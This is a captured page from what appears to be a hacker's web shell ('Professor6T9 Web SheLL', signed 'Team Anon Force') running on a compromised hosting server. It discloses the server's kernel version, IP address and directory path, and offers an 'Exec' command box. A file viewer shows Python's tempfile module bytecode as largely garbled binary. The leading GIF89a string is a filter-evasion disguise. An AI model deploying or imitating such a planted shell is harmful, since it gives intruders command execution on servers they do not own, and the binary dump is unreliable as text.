GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux s2.soul-hosting.hu 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
Apache
173.212.232.101
/
lib
/
python3.9
/
__pycache__
[ HOME ]
Exec
Submit
File Name : tempfile.cpython-39.pyc
a �:j׀ � @ st d Z g d�ZddlZddlZddlZddlZ zddl ZejZ W nn ey� ddlZddlZdd� Zdd� Ze je je je jhe jko�e je jv o�e je jv ZdGd d �Z Y n0 ddlZddlm Z! ddlZddl"Z#ddl$Z%ddl&Z&e&j'Z(e j)e j*B e j+B Z,e-e d��re,e j.O Z,e,Z/e-e d ��r*e/e j0O Z/e-e d��r>e j1Z1ndZ1dZ2e(� Z3dd� Z4dd� Z5dd� Z6G dd� d�Z7dd� Z8dd� Z9da:dd� Z;dd � Z<d!d"� Z=d#d$� Z>d%d&� Z?d'd(� Z@daAd)d*� ZBd+d,� ZCdHd-d.�ZDdId/d0�ZEd1e2dfd2d3�ZFG d4d5� d5�ZGG d6d7� d7�ZHdJdd;�d<d=�ZIe jJd>k�s2ejKd?k�r8eIZLne-e d@�aMdKdd;�dAdB�ZLG dCdD� dD�ZNG dEdF� dFeO�ZPdS )La� Temporary files. This module provides generic, low- and high-level interfaces for creating temporary files and directories. All of the interfaces provided by this module can be used without fear of race conditions except for 'mktemp'. 'mktemp' is subject to race conditions and should not be used; it is provided for backward compatibility only. The default path names are returned as str. If you supply bytes as input, all return values will be in bytes. Ex: >>> tempfile.mkstemp() (4, '/tmp/tmptpu9nin8') >>> tempfile.mkdtemp(suffix=b'') b'/tmp/tmppbi8f0hy' This module also provides some data items to the user: TMP_MAX - maximum number of names that will be tried before giving up. tempdir - If this is set to a string before the first use of any routine from this module, it will be considered as another candidate location to store temporary files. ) �NamedTemporaryFile� TemporaryFile�SpooledTemporaryFile�TemporaryDirectory�mkstemp�mkdtemp�mktemp�TMP_MAX� gettempprefix�tempdir� gettempdir�gettempprefixb�gettempdirb� Nc C s@ zt j�| �rtd��W n( ty@ |t jj| t�� � Y d S 0 g }zt �| �}W n$ tyx |t j| t�� � Y n0 |D ]�}t j�| |�}zt �|�j }W n ty� d}Y n0 t �|�r�t||� q~zt � |� W q~ t�y |t j |t�� � Y q~0 q~zt �| � W n& t�y: |t j| t�� � Y n0 d S )N�%Cannot call rmtree on a symbolic linkr )�_os�path�islink�OSError�_sys�exc_info�listdir�join�lstat�st_mode�_stat�S_ISDIR�_rmtree_unsafe�unlink�rmdir)r �onerror�names�name�fullname�mode� r$ �/usr/lib/python3.9/tempfile.pyr 2 s6 r c C s� g }zt �| �}W n< tyN } z$||_|t j|t�� � W Y d }~n d }~0 0 |D �]x}t j�||�}zt j|| dd�}|j }W n ty� d}Y n0 t �|��r�zt j|t j | d�} W n$ ty� |t j|t�� � Y n�0 z�t j�|t �| ���rBt| ||� zt j|| d� W n& t�y> |t j|t�� � Y n0 n6ztd��W n( t�yv |t jj|t�� � Y n0 W t �| � nt �| � 0 qTzt j|| d� W qT t�y� |t j|t�� � Y qT0 qTd S )NF)�dir_fd�follow_symlinksr )r&